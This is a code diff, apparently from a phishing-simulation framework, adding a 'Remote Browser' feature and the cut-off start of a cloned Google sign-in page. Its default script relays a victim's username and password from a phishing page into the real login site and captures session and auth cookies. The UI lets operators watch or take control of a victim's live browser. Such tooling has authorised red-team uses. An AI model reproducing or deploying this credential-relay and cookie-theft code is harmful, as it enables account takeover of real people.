<path fill-rule="evenodd" d="M3 10a.75.75 0 0 1 .75-.75h10.638L10.23 5.29a.75.75 0 1 1 1.04-1.08l5.5 5.25a.75.75 0 0 1 0 1.08l-5.5 5.25a.75.75 0 1 1-1.04-1.08l4.158-3.96H3.75A.75.75 0 0 1 3 10Z" clip-rule="evenodd" />
</svg>
</button>
<!-- svelte-ignore a11y-click-events-have-key-events -->
<!-- svelte-ignore a11y-no-static-element-interactions -->
<div
class="flex-1 flex items-center rounded border {controlMode
? 'border-gray-300 dark:border-gray-600 bg-white dark:bg-gray-800 cursor-text'
: 'border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800/50'}"
on:click={() => { if (controlMode) document.getElementById('rb-url-input')?.select(); }}
>
<input
id="rb-url-input"
type="text"
bind:value={urlBarValue}
on:focus={() => { urlBarFocused = true; }}
on:blur={() => { urlBarFocused = false; urlBarValue = currentURL; }}
on:keydown={(e) => {
if (e.key === 'Enter') { e.preventDefault(); navigateTo(urlBarValue); }
if (e.key === 'Escape') { e.preventDefault(); urlBarValue = currentURL; e.target.blur(); }
e.stopPropagation();
}}
readonly={!controlMode}
class="flex-1 px-2.5 py-1 text-sm font-mono bg-transparent outline-none text-gray-800 dark:text-gray-200 {!controlMode ? 'cursor-default select-text' : ''}"
placeholder="about:blank"
/>
</div>
</div>
</div>
<!-- Canvas -->
<!-- svelte-ignore a11y-no-noninteractive-element-interactions -->
<div
class="flex-1 overflow-hidden flex items-center justify-center bg-black rounded relative"
class:cursor-crosshair={controlMode}
>
<canvas
bind:this={canvas}
class="max-w-full max-h-full object-contain"
style={controlMode ? 'cursor: crosshair;' : ''}
on:mousemove={onMouseMove}
on:mousedown={onMouseDown}
on:mouseup={onMouseUp}
on:wheel|nonpassive={onWheel}
on:contextmenu|preventDefault
/>
{#if logPanelOpen}
<div
class="absolute bottom-0 left-0 right-0 flex flex-col bg-gray-950/95 border-t border-gray-700 rounded-b"
style="height: 13rem; max-height: 50%;"
>
<div class="flex items-center justify-between px-2.5 py-1 border-b border-gray-700/60 flex-shrink-0">
<span class="text-xs font-mono text-gray-400">Script Log</span>
<button
type="button"
on:click={() => (logPanelOpen = false)}
class="text-gray-500 hover:text-gray-300 transition-colors"
title="Close log"
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" fill="currentColor" class="w-3.5 h-3.5">
<path d="M5.28 4.22a.75.75 0 0 0-1.06 1.06L6.94 8l-2.72 2.72a.75.75 0 1 0 1.06 1.06L8 9.06l2.72 2.72a.75.75 0 1 0 1.06-1.06L9.06 8l2.72-2.72a.75.75 0 0 0-1.06-1.06L8 6.94 5.28 4.22Z" />
</svg>
</button>
</div>
<div
bind:this={logPanelEl}
on:wheel={onLogPanelWheel}
on:scroll={onLogPanelScroll}
class="flex-1 overflow-y-auto font-mono text-xs text-gray-200 p-2 space-y-0.5 select-text"
>
{#if runLog.length === 0}
<span class="text-gray-500">No events yet.</span>
{:else}
{#each runLog as entry}
<div
class="leading-5 {entry.type === 'event'
? 'text-blue-300'
: entry.type === 'sent'
? 'text-orange-300'
: entry.type === 'capture'
? 'text-purple-300'
: entry.type === 'submit'
? 'text-amber-300'
: entry.type === 'info'
? 'text-sky-300'
: entry.type === 'screenshot'
? 'text-teal-300'
: entry.type === 'error'
? 'text-red-400'
: entry.type === 'done'
? 'text-green-400'
: 'text-gray-400'}"
>
{#if entry.type === 'event'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-blue-400"> emit </span>
<span class="text-yellow-400">{entry.key}</span>
<span class="text-gray-300"> = </span>
<span>{JSON.stringify(entry.value)}</span>
{:else if entry.type === 'sent'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-orange-400">{entry.event}</span>
{#if entry.data !== null && entry.data !== undefined && entry.data !== ''}
<span class="text-gray-300"> data=</span><span>{JSON.stringify(entry.data)}</span>
{/if}
{:else if entry.type === 'screenshot'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-teal-400"> 📷 {entry.key || 'screenshot'}</span>
{#if entry.url}
<span class="text-gray-500 ml-1 truncate">{entry.url}</span>
{/if}
{:else if entry.type === 'info'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-sky-400"> info</span>
<span class="text-sky-200 ml-1">{entry.message}</span>
{:else if entry.type === 'submit'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-amber-400"> ⬆ submitData</span>
<pre class="mt-1 text-xs text-amber-200 bg-gray-800 rounded p-1.5 overflow-x-auto max-h-40 overflow-y-auto select-text">{JSON.stringify(entry.value, null, 2)}</pre>
{:else if entry.type === 'capture'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-purple-400"> ★ capture</span>
{#if entry.value?.cookies}
<span class="text-gray-400"> · {entry.value.cookies.length} cookies</span>
{/if}
{#if entry.value?.localStorage}
<span class="text-gray-400"> · {Object.keys(entry.value.localStorage).length} localStorage</span>
{/if}
{:else if entry.type === 'done'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-green-400"> ✓ done</span>
{:else}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span> {entry.message}</span>
{#if entry.data !== undefined && entry.data !== null}
<span class="text-cyan-300"> {JSON.stringify(entry.data)}</span>
{/if}
{/if}
</div>
{/each}
{/if}
</div>
{#if isRunning}
<div class="border-t border-gray-700/60 px-2 py-1.5 flex-shrink-0 flex gap-2 items-center">
<input
type="text"
bind:value={injectEvent}
placeholder="event name"
class="w-28 px-2 py-0.5 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }}
/>
<input
type="text"
bind:value={injectData}
placeholder='data JSON'
class="flex-1 px-2 py-0.5 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }}
/>
<button
type="button"
class="px-2.5 py-0.5 text-xs bg-orange-600 hover:bg-orange-700 text-white rounded transition-colors whitespace-nowrap"
on:click={sendInject}
>
Send
</button>
</div>
{/if}
</div>
{/if}
</div>
{#if controlMode}
<p class="text-xs text-gray-400 mt-2 flex-shrink-0">
Mouse and keyboard are captured while this modal is open.
</p>
{/if}
</div>
</Modal>
@@ -26,54 +26,34 @@
activeFormElement.set(dropdownId); // set this as active, closing others
const viewportHeight = window.innerHeight;
const buffer = 20; // extra space to ensure some padding from viewport edges
const minHeight = 64; // minimum dropdown height
const maxHeight = 400; // maximum dropdown height
const viewportWidth = window.innerWidth;
const buffer = 20;
const minHeight = 64;
const maxHeight = 400;
const gap = 8;
let clickViewportY, pageX, pageY;
const buttonRect = buttonRef.getBoundingClientRect();
// handle both mouse and keyboard events
if (e.clientY !== undefined && e.pageX !== undefined) {
// mouse event
clickViewportY = e.clientY;
pageX = e.pageX;
pageY = e.pageY;
} else {
// keyboard event - use button position
const buttonRect = buttonRef.getBoundingClientRect();
clickViewportY = buttonRect.top;
pageX = buttonRect.left + window.scrollX;
pageY = buttonRect.top + window.scrollY;
}
// calculate available space above and below
const spaceAbove = clickViewportY - buffer;
const spaceBelow = viewportHeight - clickViewportY - buffer;
// choose position based on available space, with preference for below
const spaceAbove = buttonRect.top - buffer;
const spaceBelow = viewportHeight - buttonRect.bottom - buffer;
const shouldShowAbove = spaceBelow < minHeight && spaceAbove > spaceBelow;
const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow;
// calculate optimal height within bounds
const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight);
// find position
const gap = 8; // small gap between menu and cursor/button
menuX = pageX - 256;
const menuWidth = 256;
const spaceOnRight = viewportWidth - buttonRect.right - buffer;
menuX = spaceOnRight >= menuWidth ? buttonRect.left : buttonRect.right - menuWidth;
menuX = Math.max(buffer, Math.min(menuX, viewportWidth - menuWidth - buffer));
if (shouldShowAbove) {
// calculate actual menu height by temporarily showing it
menuRef.style.visibility = 'hidden';
menuRef.style.display = 'block';
const actualMenuHeight = menuRef.scrollHeight;
menuRef.style.display = '';
menuRef.style.visibility = '';
// position above by moving up by the actual menu height
menuY = pageY - actualMenuHeight - gap;
menuY = buttonRect.top - actualMenuHeight - gap;
} else {
// for below positioning, use original click/button position
menuY = pageY + gap;
menuY = buttonRect.bottom + gap;
}
menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`;
@@ -160,7 +140,7 @@
<div
bind:this={menuRef}
class="absolute bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-20 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
class="fixed bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-50 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
class:hidden={!isMenuVisible}
>
<ul class="flex flex-col text-left">
@@ -55,7 +55,7 @@
class="font-bold text-slate-600 dark:text-gray-200 text-{alignText} flex transition-colors duration-200"
>
{#if !isGhost}
{title.length ? title : column}
{title?.length ? title : column}
{:else}
<GhostText />
{/if}
@@ -26,7 +26,7 @@
<TableHead>
<TableRow>
{#each columns as column, i (i)}
{#each columns as column, i (typeof column === 'object' ? column.column : column)}
{#if typeof column === 'object'}
<TableHeadCell
{...column}
+10
View File
@@ -66,6 +66,10 @@ export const route = {
route: '/proxy/',
blackbox: true
},
remoteBrowser: {
label: 'Remote Browsers',
route: '/remote-browser/'
},
campaignTemplates: {
label: 'Templates',
singleLabel: 'Templates',
@@ -137,6 +141,12 @@ export const menu = [
route.apiSenders,
route.oauthProviders
]
},
{
label: 'Remote Browsers',
type: 'submenu',
blackbox: true,
items: [route.remoteBrowser]
}
];
@@ -49,6 +49,8 @@
import FormFooter from '$lib/components/FormFooter.svelte';
import TextFieldSelect from '$lib/components/TextFieldSelect.svelte';
import { resourceContext } from '$lib/store/resourceContext';
import RemoteBrowserStream from '$lib/components/remote-browser/RemoteBrowserStream.svelte';
import LiveSessionBadgeDropdown from '$lib/components/remote-browser/LiveSessionBadgeDropdown.svelte';
// services
const appStateService = AppStateService.instance;
@@ -169,6 +171,17 @@
let setAsSentRecipient = null;
let lastPoll3399Nano = '';
// live remote browser sessions
/** @type {Map<string, {crID: string, campaignID: string, recipientID: string, createdAt: string, victimConnected: boolean}>} */
let liveSessions = new Map();
let liveSessionPollInterval = null;
let streamModalVisible = false;
let streamCRID = '';
let streamControlMode = false;
let streamEmail = '';
let isTerminateSessionAlertVisible = false;
let terminateSessionCRID = '';
// hooks
onMount(() => {
const context = appStateService.getContext();
@@ -186,14 +199,55 @@
await refreshCampaignEventsSince();
})();
// poll live sessions every 5 seconds
liveSessionPollInterval = setInterval(refreshLiveSessions, 5000);
refreshLiveSessions();
// cleanup resource context when leaving page
return () => {
recipientTableUrlParams.unsubscribe();
eventsTableURLParams.unsubscribe();
resourceContext.clear();
clearInterval(liveSessionPollInterval);
};
});
const refreshLiveSessions = async () => {
try {
const campaignID = $page.params.id;
const res = await api.remoteBrowser.getLiveSessions(campaignID);
if (!res.success) return;
const map = new Map();
for (const s of res.data ?? []) {
map.set(s.crID, s);
}
liveSessions = map;
} catch {
// network error during poll — silently skip this tick
}
};
const openStreamModal = (crID, control, recipientEmail = '') => {
streamCRID = crID;
streamControlMode = control;
streamEmail = recipientEmail;
streamModalVisible = true;
};
const openTerminateAlert = (crID) => {
terminateSessionCRID = crID;
isTerminateSessionAlertVisible = true;
};
const doTerminateSession = async () => {
const res = await api.remoteBrowser.closeLiveSession(terminateSessionCRID);
if (!res.success) {
return { success: false, error: 'Failed to terminate session' };
}
await refreshLiveSessions();
return { success: true };
};
const refresh = async (showLoading = true) => {
if (showLoading) {
showIsLoading();
@@ -1947,6 +2001,7 @@
<SubHeadline>Recipients overview</SubHeadline>
<Table
columns={[
...(liveSessions.size > 0 ? [{ column: 'Remote', size: 'small' }] : []),
{ column: 'First name', size: 'small' },
{ column: 'Last name', size: 'small' },
{ column: 'Email', size: 'large' },
@@ -1972,6 +2027,29 @@
>
{#each campaignRecipients as recp (recp.id)}
<TableRow>
{#if liveSessions.size > 0}
<TableCell>
{#if liveSessions.has(recp.id)}
{@const ls = liveSessions.get(recp.id)}
<LiveSessionBadgeDropdown victimConnected={ls.victimConnected}>
{#if ls.canStream}
<TableDropDownButton
name="View"
on:click={() => openStreamModal(recp.id, false, recp.recipient?.email)}
/>
<TableDropDownButton
name="Control"
on:click={() => openStreamModal(recp.id, true, recp.recipient?.email)}
/>
{/if}
<TableDropDownButton
name="Terminate"
on:click={() => openTerminateAlert(recp.id)}
/>
</LiveSessionBadgeDropdown>
{/if}
</TableCell>
{/if}
{#if recp?.anonymizedID}
<TableCell value={'anonymized'} />
<TableCell value={'anonymized'} />
@@ -2104,6 +2182,23 @@
: ''}
on:click={() => onClickPreviewEmail(recp.id)}
/>
{#if liveSessions.has(recp.id)}
{@const ls = liveSessions.get(recp.id)}
{#if ls.canStream}
<TableViewButton
name="View remote session"
on:click={() => openStreamModal(recp.id, false, recp.recipient?.email)}
/>
<TableDropDownButton
name="Control remote session"
on:click={() => openStreamModal(recp.id, true, recp.recipient?.email)}
/>
{/if}
<TableDropDownButton
name="Terminate remote session"
on:click={() => openTerminateAlert(recp.id)}
/>
{/if}
</TableDropDownEllipsis>
</TableCellAction>
{/if}
@@ -2112,6 +2207,23 @@
</Table>
{/if}
{/if}
<RemoteBrowserStream
bind:visible={streamModalVisible}
crID={streamCRID}
controlMode={streamControlMode}
email={streamEmail}
on:closed={() => { streamModalVisible = false; refreshLiveSessions(); }}
/>
<Alert
headline="Terminate session"
bind:visible={isTerminateSessionAlertVisible}
onConfirm={doTerminateSession}
ok="Yes, terminate"
>
Are you sure you want to terminate this live session? The victim's browser will be closed.
</Alert>
<Modal headerText={'Events'} visible={isEventsModalVisible} onClose={closeEventsModal}>
<div class="mt-8"></div>
<Table
@@ -0,0 +1,391 @@
<script>
import { page } from '$app/stores';
import { api } from '$lib/api/apiProxy.js';
import { onMount } from 'svelte';
import { newTableURLParams } from '$lib/service/tableURLParams.js';
import Headline from '$lib/components/Headline.svelte';
import TableRow from '$lib/components/table/TableRow.svelte';
import TableCell from '$lib/components/table/TableCell.svelte';
import TableUpdateButton from '$lib/components/table/TableUpdateButton.svelte';
import TableDeleteButton from '$lib/components/table/TableDeleteButton2.svelte';
import TableCopyButton from '$lib/components/table/TableCopyButton.svelte';
import FormError from '$lib/components/FormError.svelte';
import { addToast } from '$lib/store/toast';
import { AppStateService } from '$lib/service/appState';
import TableCellEmpty from '$lib/components/table/TableCellEmpty.svelte';
import TableCellAction from '$lib/components/table/TableCellAction.svelte';
import Modal from '$lib/components/Modal.svelte';
import Table from '$lib/components/table/Table.svelte';
import HeadTitle from '$lib/components/HeadTitle.svelte';
import { getModalText } from '$lib/utils/common';
import DeleteAlert from '$lib/components/modal/DeleteAlert.svelte';
import AutoRefresh from '$lib/components/AutoRefresh.svelte';
import BigButton from '$lib/components/BigButton.svelte';
import TableDropDownEllipsis from '$lib/components/table/TableDropDownEllipsis.svelte';
import FormGrid from '$lib/components/FormGrid.svelte';
import FormFooter from '$lib/components/FormFooter.svelte';
import RemoteBrowserEditor from '$lib/components/remote-browser/RemoteBrowserEditor.svelte';
const appStateService = AppStateService.instance;
// form state
let formValues = {
id: null,
name: '',
description: '',
script: defaultScript(),
config: JSON.stringify(
{ mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 },
null,
2
)
};
let isSubmitting = false;
let formError = '';
let savedScript = defaultScript();
// table state
const tableURLParams = newTableURLParams();
let contextCompanyID = null;
let items = [];
let hasNextPage = true;
let isTableLoading = false;
let featureDisabled = false;
// modal state
let isModalVisible = false;
let modalMode = null;
let modalText = '';
// delete state
let isDeleteAlertVisible = false;
let deleteValues = { id: null, name: null };
$: modalText = getModalText('Remote Browser', modalMode);
function defaultScript() {
return `// The phishing page sends events here via rb.send("event", data).
// This script replays them into the real site and emits events back.
var s = newSession();
s.navigate("https://example.com/login");
s.waitVisible("input[type='email']");
// wait for victim to submit their email on the phishing page
var u = waitForEvent("username");
s.sendKeys("input[type='email']", u.username);
s.click("button[type='submit']");
// ask the phishing page to show a password field
s.waitVisible("input[type='password']");
emit("need_password", {});
var p = waitForEvent("password");
s.sendKeys("input[type='password']", p.password);
s.click("button[type='submit']");
// grab session cookies once we land inside the app
s.waitVisible("#dashboard");
s.capture({
domains: ["example.com"],
cookieNames: ["session", "auth_token"]
});
emit("captured", { status: "success" });
s.keepAlive();
s.close();
`;
}
onMount(() => {
const context = appStateService.getContext();
if (context) contextCompanyID = context.companyID;
refreshItems();
tableURLParams.onChange(refreshItems);
(async () => {
const editID = $page.url.searchParams.get('edit');
if (editID) await openUpdateModal(editID);
})();
return () => tableURLParams.unsubscribe();
});
const refreshItems = async (showLoading = true) => {
try {
if (showLoading) isTableLoading = true;
const res = await api.remoteBrowser.getAllSubset(tableURLParams, contextCompanyID);
if (res.statusCode === 404) {
featureDisabled = true;
return;
}
if (res.success) {
items = res.data.rows ?? res.data ?? [];
hasNextPage = res.data.hasNextPage ?? false;
}
} catch (e) {
addToast('Failed to load Remote Browsers', 'Error');
console.error(e);
} finally {
if (showLoading) isTableLoading = false;
}
};
const openCreateModal = () => {
formValues = {
id: null,
name: '',
description: '',
script: defaultScript(),
config: JSON.stringify(
{ mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 },
null,
2
)
};
savedScript = defaultScript();
formError = '';
modalMode = 'create';
isModalVisible = true;
};
const openUpdateModal = async (id) => {
try {
const res = await api.remoteBrowser.getByID(id);
if (!res.success) throw res.error;
const rb = res.data;
formValues = {
id: rb.id,
name: rb.name || '',
description: rb.description || '',
script: rb.script || defaultScript(),
config: rb.config
? JSON.stringify(rb.config, null, 2)
: JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2)
};
savedScript = formValues.script;
formError = '';
modalMode = 'update';
isModalVisible = true;
} catch (e) {
addToast('Failed to load Remote Browser', 'Error');
console.error(e);
}
};
const closeModal = () => {
isModalVisible = false;
formError = '';
};
const onEditorChange = (event) => {
const { name, description, script, config } = event.detail;
formValues = { ...formValues, name, description, script, config };
};
const openCopyModal = async (id) => {
try {
const res = await api.remoteBrowser.getByID(id);
if (!res.success) throw res.error;
const rb = res.data;
formValues = {
id: null,
name: rb.name ? `${rb.name} (copy)` : '',
description: rb.description || '',
script: rb.script || defaultScript(),
config: rb.config
? JSON.stringify(rb.config, null, 2)
: JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2)
};
savedScript = formValues.script;
formError = '';
modalMode = 'copy';
isModalVisible = true;
} catch (e) {
addToast('Failed to load Remote Browser', 'Error');
console.error(e);
}
};
const onSubmit = async (event) => {
isSubmitting = true;
try {
const saveOnly = event?.detail?.saveOnly || false;
if (modalMode === 'create' || modalMode === 'copy') {
await create();
} else {
await update(saveOnly);
}
} finally {
isSubmitting = false;
}
};
const create = async () => {
try {
const res = await api.remoteBrowser.create({
name: formValues.name,
description: formValues.description,
script: formValues.script,
config: JSON.parse(formValues.config),
companyID: contextCompanyID
});
if (!res.success) {
formError = res.error;
return;
}
formError = '';
addToast('Remote Browser created', 'Success');
// Stay in the modal - switch to update mode so the user can run/test immediately.
formValues = { ...formValues, id: res.data.id };
savedScript = formValues.script;
modalMode = 'update';
refreshItems();
} catch (e) {
addToast('Failed to create Remote Browser', 'Error');
console.error(e);
}
};
const update = async (saveOnly = false) => {
try {
const res = await api.remoteBrowser.update(formValues.id, {
name: formValues.name,
description: formValues.description,
script: formValues.script,
config: JSON.parse(formValues.config)
});
if (!res.success) {
formError = res.error;
return;
}
formError = '';
savedScript = formValues.script;
addToast(saveOnly ? 'Saved' : 'Remote Browser updated', 'Success');
if (!saveOnly) {
closeModal();
refreshItems();
}
} catch (e) {
addToast(saveOnly ? 'Failed to save' : 'Failed to update Remote Browser', 'Error');
console.error(e);
}
};
const onClickDelete = async (id) => {
const res = await api.remoteBrowser.delete(id);
if (res.success) {
refreshItems();
return res;
}
throw res.error;
};
</script>
<HeadTitle title="Remote Browsers" />
<div class="col-start-1 col-end-13 row-start-1 px-4">
<div class="flex justify-between items-center">
<div class="flex items-center gap-3">
<Headline>Remote Browsers</Headline>
<span
class="px-2 py-0.5 text-xs font-medium rounded bg-slate-200 text-slate-500 dark:bg-slate-700 dark:text-slate-400"
>Experimental</span
>
</div>
<AutoRefresh isLoading={false} onRefresh={() => refreshItems(false)} />
</div>
{#if featureDisabled}
<div class="mt-6 rounded-lg border border-slate-700 bg-slate-800/50 px-6 py-8 max-w-xl">
<p class="text-sm font-semibold text-white mb-1">Remote Browser is not enabled</p>
<p class="text-sm text-slate-400 mb-3">
This feature is disabled by default for security reasons. When enabled, the server runs a
browser under the application process. Any operator with access to the script editor can
execute arbitrary commands on the host.
</p>
<p class="text-sm text-slate-400 mb-4">
To enable it, set <code class="text-slate-200 bg-slate-700 px-1 rounded">enabled: true</code
>
in the <code class="text-slate-200 bg-slate-700 px-1 rounded">remote_browser</code> block of
<code class="text-slate-200 bg-slate-700 px-1 rounded">config.json</code> and retart the service.
</p>
<a
href="https://phishing.club/guide/remote-browser/#enabling"
target="_blank"
rel="noopener noreferrer"
class="text-sm text-blue-400 hover:text-blue-300 underline">Read the setup guide</a
>
</div>
{:else}
<BigButton on:click={openCreateModal}>New Remote Browser</BigButton>
<Table
columns={[{ column: 'Name', size: 'large' }, { column: 'Description' }]}
sortable={['Name']}
hasData={!!items.length}
{hasNextPage}
plural="remote browsers"
pagination={tableURLParams}
isGhost={isTableLoading}
>
{#each items as item (item.id)}
<TableRow>
<TableCell>
<button class="block w-full py-1 text-left" on:click={() => openUpdateModal(item.id)}
>{item.name}</button
>
</TableCell>
<TableCell>{item.description || ''}</TableCell>
<TableCellEmpty />
<TableCellAction>
<TableDropDownEllipsis>
<TableUpdateButton on:click={() => openUpdateModal(item.id)} />
<TableCopyButton title="Copy" on:click={() => openCopyModal(item.id)} />
<TableDeleteButton
on:click={() => {
deleteValues = { id: item.id, name: item.name };
isDeleteAlertVisible = true;
}}
/>
</TableDropDownEllipsis>
</TableCellAction>
</TableRow>
{/each}
</Table>
{/if}
</div>
<!-- Editor modal (always fullscreen) -->
<Modal
bind:visible={isModalVisible}
headerText={modalText}
fullscreen={true}
onClose={closeModal}
{isSubmitting}
>
<FormGrid on:submit={onSubmit} {isSubmitting} {modalMode}>
<div class="col-span-3 flex flex-col min-h-0 overflow-hidden px-4 py-4">
<RemoteBrowserEditor
bind:name={formValues.name}
bind:description={formValues.description}
bind:script={formValues.script}
bind:config={formValues.config}
id={formValues.id}
{savedScript}
on:change={onEditorChange}
/>
</div>
<FormError message={formError} />
<FormFooter {closeModal} {isSubmitting} okText={modalMode === 'create' ? 'Create' : 'Update'} />
</FormGrid>
</Modal>
<DeleteAlert
bind:isVisible={isDeleteAlertVisible}
name={deleteValues.name}
onClick={() => onClickDelete(deleteValues.id)}
/>
+1
View File
@@ -21,6 +21,7 @@ export default defineConfig({
'/api/': {
target: 'https://backend:8002',
secure: false,
ws: true,
},
},
},
+636
View File
@@ -0,0 +1,636 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Sign in - Google Accounts</title>
<link
href="https://fonts.googleapis.com/css2?family=Google+Sans:wght@400;500&family=Roboto:wght@400;500&display=swap"
rel="stylesheet"
/>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: "Google Sans", Roboto, Arial, sans-serif;
background: #f0f4f9;
min-height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
padding: 40px 24px;
}
.card {
background: #fff;
border-radius: 24px;
display: flex;
width: 100%;
max-width: 900px;
min-height: 380px;
}
.card-left {
flex: 0 0 360px;
padding: 52px 48px 48px;
display: flex;
flex-direction: column;
}
.left-content { display: none; flex-direction: column; }
.left-content.active { display: flex; }
.g-logo { margin-bottom: 28px; }
.heading {
font-size: 32px;
font-weight: 400;
color: #202124;
font-family: "Google Sans", sans-serif;
line-height: 1.25;
margin-bottom: 8px;
}
.subheading {
font-size: 16px;
color: #444746;
font-family: Roboto, sans-serif;
font-weight: 400;
line-height: 1.5;
}
.account-chip {
display: inline-flex;
align-items: center;
border: 1px solid #dadce0;
border-radius: 20px;
padding: 6px 16px 6px 10px;
margin-top: 16px;
font-size: 14px;
color: #3c4043;
font-family: Roboto, sans-serif;
gap: 8px;
max-width: 280px;
overflow: hidden;
}
.account-chip .chip-name {
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.card-right {
flex: 1;
padding: 52px 56px 40px;
display: flex;
flex-direction: column;
}
.step { display: none; flex-direction: column; flex: 1; }
.step.active { display: flex; }
.field-wrapper { position: relative; margin-bottom: 4px; }
.field-wrapper input {
width: 100%;
height: 56px;
border: 1px solid #747775;
border-radius: 4px;
padding: 24px 48px 8px 16px;
font-size: 16px;
font-family: Roboto, sans-serif;
color: #202124;
outline: none;
background: transparent;
transition: border-color 0.15s, border-width 0.15s;
caret-color: #1a73e8;
}
.field-wrapper input:focus {
border-color: #1a73e8;
border-width: 2px;
padding-left: 15px;
}
.field-wrapper input.error {
border-color: #d93025;
border-width: 2px;
padding-left: 15px;
}
.field-wrapper label {
position: absolute;
left: 16px;
top: 18px;
font-size: 16px;
color: #444746;
pointer-events: none;
transition: top 0.15s, font-size 0.15s, color 0.15s;
font-family: Roboto, sans-serif;
}
.field-wrapper input:focus ~ label,
.field-wrapper input:not(:placeholder-shown) ~ label {
top: 8px;
font-size: 12px;
color: #1a73e8;
}
.field-wrapper input:not(:focus):not(:placeholder-shown) ~ label { color: #444746; }
.field-wrapper input.error ~ label,
.field-wrapper input.error:focus ~ label { color: #d93025; }
.password-toggle {
position: absolute;
right: 10px;
top: 50%;
transform: translateY(-50%);
background: none;
border: none;
cursor: pointer;
padding: 8px;
color: #444746;
display: flex;
align-items: center;
border-radius: 50%;
}
.password-toggle:hover { background: #f1f3f4; }
.error-text {
font-size: 12px;
color: #d93025;
margin-top: 4px;
padding-left: 16px;
font-family: Roboto, sans-serif;
min-height: 16px;
display: none;
}
.error-text.visible { display: block; }
.link-row { margin-top: 12px; }
.text-link {
font-size: 14px;
color: #1a73e8;
text-decoration: none;
font-family: Roboto, sans-serif;
font-weight: 500;
}
.text-link:hover { text-decoration: underline; }
.guest-note {
font-size: 14px;
color: #444746;
font-family: Roboto, sans-serif;
line-height: 1.5;
margin-top: 20px;
}
.actions {
display: flex;
justify-content: space-between;
align-items: center;
margin-top: auto;
padding-top: 32px;
}
.btn {
font-family: "Google Sans", Roboto, sans-serif;
font-size: 14px;
font-weight: 500;
border: none;
cursor: pointer;
padding: 10px 24px;
border-radius: 20px;
letter-spacing: 0.25px;
transition: background 0.2s, box-shadow 0.2s;
min-height: 40px;
display: inline-flex;
align-items: center;
justify-content: center;
}
.btn-text { background: transparent; color: #1a73e8; }
.btn-text:hover { background: #e8f0fe; }
.btn-filled { background: #1a73e8; color: #fff; min-width: 88px; }
.btn-filled:hover { background: #1b66c9; box-shadow: 0 1px 3px rgba(26,115,232,0.4); }
.btn-filled:disabled { background: #e8eaed; color: #bdc1c6; cursor: default; box-shadow: none; }
.spinner {
display: none;
width: 18px;
height: 18px;
border: 2px solid rgba(255,255,255,0.4);
border-top-color: #fff;
border-radius: 50%;
animation: spin 0.75s linear infinite;
}
@keyframes spin { to { transform: rotate(360deg); } }
.btn-filled.loading .btn-label { display: none; }
.btn-filled.loading .spinner { display: block; }
.center-area {
flex: 1;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
text-align: center;
padding: 16px 0;
gap: 20px;
}
.done-icon {
width: 52px;
height: 52px;
background: #e6f4ea;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
}
.page-spinner {
width: 36px;
height: 36px;
border: 3px solid #e8eaed;
border-top-color: #1a73e8;
border-radius: 50%;
animation: spin 0.9s linear infinite;
}
#captcha-stream-container {
display: inline-block;
cursor: pointer;
border-radius: 4px;
overflow: hidden;
}
#captcha-stream-container canvas {
display: block;
outline: none;
}
.page-footer {
margin-top: 20px;
width: 100%;
max-width: 900px;
display: flex;
justify-content: space-between;
align-items: center;
padding: 0 4px;
}
.page-footer select {
border: none;
color: #5f6368;
font-size: 12px;
font-family: Roboto, sans-serif;
background: transparent;
outline: none;
cursor: pointer;
}
.footer-links { display: flex; gap: 20px; }
.footer-link {
font-size: 12px;
color: #5f6368;
text-decoration: none;
font-family: Roboto, sans-serif;
}
.footer-link:hover { text-decoration: underline; }
@media (max-width: 680px) {
.card { flex-direction: column; min-height: 0; }
.card-left { flex: none; padding: 40px 32px 20px; }
.card-right { padding: 0 32px 40px; }
}
</style>
</head>
<body>
<div class="card">
<div class="card-left">
<div id="left-email" class="left-content active">
<div class="g-logo">
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
